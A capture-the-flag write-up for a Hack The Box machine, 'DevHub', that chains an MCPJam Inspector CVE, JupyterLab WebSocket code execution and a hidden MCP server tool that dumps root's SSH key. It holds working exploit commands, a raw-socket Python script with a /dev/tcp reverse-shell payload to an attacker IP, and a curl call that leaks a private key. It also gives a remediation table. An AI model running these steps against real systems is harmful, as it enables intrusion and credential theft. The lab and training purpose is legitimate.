HTB DevHub (Medium): CVE-2026-23744 → JupyterLab WebSocket RCE → Hidden MCP Tool to Root
Box HTB non-retired. Entre le mot de passe pour lire le writeup.
Introduction
DevHub is a Medium-difficulty Linux machine that introduces an emerging attack surface: MCP (Model Context Protocol). The attack chain spans three phases: exploiting CVE-2026-23744 in MCPJam Inspector for a foothold as mcp-dev, abusing JupyterLab’s WebSocket protocol to execute code as analyst, and finally reading the source of an internal Flask MCP server to discover a hidden tool that dumps root’s SSH private key.
Attack Overview
[RECON] Port scan → Port 80 (nginx) + Port 6274 (MCPJam Inspector)
↓
[INITIAL ACCESS] CVE-2026-23744
MCPJam Inspector ≤1.4.2 - unauthenticated RCE via /api/mcp/connect
→ Reverse shell as mcp-dev
↓
[ENUM] ps aux → JupyterLab token exposed in process arguments
Port 8888 (127.0.0.1) - JupyterLab running as analyst
↓
[LATERAL MOVEMENT] JupyterLab WebSocket RCE
POST /api/sessions → create kernel
WebSocket /api/kernels/<id>/channels → execute_request
→ Reverse shell as analyst
↓
[ENUM] cat /opt/opsmcp/server.py → API key + hidden tool in source
↓
[PRIVESC] opsmcp ops._admin_dump
curl POST /tools/call with target=ssh_keys
→ Root SSH private key
→ SSH as root
Setup
export TARGET="devhub.htb"
echo "10.129.10.45 devhub.htb" | sudo tee -a /etc/hosts
Reconnaissance
Port scan:
nmap -sV -sC -p- --min-rate 5000 devhub.htb -oN nmap_full.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open http nginx 1.18.0 (Ubuntu)
The web page at http://devhub.htb reveals two internal services:
- Port 6274 – MCPJam Inspector (accessible externally)
- Port 8888 – JupyterLab (bound to 127.0.0.1 only)
Scanning port 6274 confirms it runs MCPJam Inspector.
Initial Access – CVE-2026-23744 (MCPJam Inspector RCE)
Vulnerability Overview
CVE-2026-23744 affects MCPJam Inspector ≤ v1.4.2. The /api/mcp/connect endpoint requires no authentication and listens on all interfaces. An attacker can make the Inspector connect to a malicious MCP server, leading to remote code execution.
Exploitation
Start a listener and run the public PoC:
nc -lvnp 4444
python3 cve-2026-23744.py \
--target http://devhub.htb:6274/ \
--att-ip 10.10.14.237 \
--att-p 4444
A reverse shell is received as mcp-dev:
whoami
# mcp-dev
python3 -c 'import pty; pty.spawn("/bin/bash")'
Lateral Movement – JupyterLab WebSocket RCE
Enumeration
From ps aux, a JupyterLab token is visible in the process arguments:
manalyst 1075 ... jupyter-lab --ip=127.0.0.1 --port=8888 \
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
JupyterLab runs as user analyst (uid=1002). The token grants full API access.
Creating a Kernel Session
TOKEN="a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
curl -s -X POST "http://127.0.0.1:8888/api/sessions?token=$TOKEN" \
-H "Content-Type: application/json" \
-d '{"kernel": {"name": "python3"}, "name": "", "path": "", "type": "notebook"}'
Save the returned kernel.id.
Raw WebSocket Code Execution
The target has no WebSocket libraries and no internet. A raw socket implementation in Python performs the WebSocket handshake and sends a Jupyter execute_request message.
import socket, base64, os, json, uuid, struct
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KERNEL_ID = "8ad8f89b-41b8-44cb-baef-7115c186c04b"
CODE = 'import os; os.system(\'bash -c "bash -i >& /dev/tcp/10.10.14.237/5555 0>&1"\')'
# WebSocket handshake
key = base64.b64encode(os.urandom(16)).decode()
upgrade = (
f"GET /api/kernels/{KERNEL_ID}/channels?token={TOKEN} HTTP/1.1\r\n"
f"Host: 127.0.0.1:8888\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n"
)
s = socket.socket()
s.connect(("127.0.0.1", 8888))
s.send(upgrade.encode())
resp = s.recv(4096)
# Build execute_request message
msg = json.dumps({
"header": {
"msg_id": str(uuid.uuid4()),
"msg_type": "execute_request",
"session": str(uuid.uuid4()),
"username": "",
"version": "5.0"
},
"parent_header": {},
"metadata": {},
"content": {
"code": CODE,
"silent": False,
"store_history": False
},
"channel": "shell"
}).encode()
# Wrap in WebSocket frame
n = len(msg)
if n <= 125:
frame = bytes([0x81, n]) + msg
elif n <= 65535:
frame = bytes([0x81, 126]) + struct.pack(">H", n) + msg
else:
frame = bytes([0x81, 127]) + struct.pack(">Q", n) + msg
s.send(frame)
Run the script:
python3 /tmp/exploit.py
A reverse shell is received as analyst. User flag:
[redacted]
Privilege Escalation – Hidden MCP Tool to Root
Discovery
From linpeas, a process running as root is identified:
root 1083 ... /usr/bin/python3 /opt/opsmcp/server.py
Reading the source code reveals an internal Flask MCP server on port 5000.
Key Findings
Hardcoded API key:
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
Visible tools listed in /tools/list, but hidden tools exist in the code:
HIDDEN_TOOLS = {
"ops._admin_dump": {...},
"ops._debug_mode": {...}
}
The ops._admin_dump tool reads root’s SSH private key:
elif tool_name == "ops._admin_dump":
if target == "ssh_keys":
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({"root_private_key": key_data})
Exploitation
curl -X POST http://127.0.0.1:5000/tools/call \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'
The response contains root’s private RSA key. Save it to a file, set permissions, and connect:
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.10.45
Root flag:
[redacted]
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| CVE-2026-23744 (MCPJam Inspector RCE) | Unauthenticated /api/mcp/connect endpoint exposed on network | Bind developer tools to 127.0.0.1; upgrade to patched version (1.4.3) |
| JupyterLab token in process arguments | Secret passed as CLI argument | Use config files with proper permissions (chmod 600) |
| JupyterLab WebSocket execution model | REST API allows kernel creation but code execution requires WebSocket | Restrict JupyterLab API access to trusted users; use network isolation |
| Hardcoded API key in source code | Secret stored in plaintext | Use environment variables or secrets management |
Hidden endpoint in MCP server (ops._admin_dump) | “Security through obscurity” without real authz | Implement proper authentication and authorization; do not rely on hidden paths |
| File read operation exposed via internal service | Root process blindly reads any requested file | Never expose file read operations; validate targets against an allowlist |
Resources
- Nmap — Port scanning and service detection
- CVE-2026-23744 PoC — MCPJam Inspector unauthenticated RCE
- Jupyter Server API — Sessions and kernel management
- WebSocket Protocol (RFC 6455) — Frame format and handshake
- MCP (Model Context Protocol) — AI agent tool integration standard
- LinPEAS — Local privilege escalation enumeration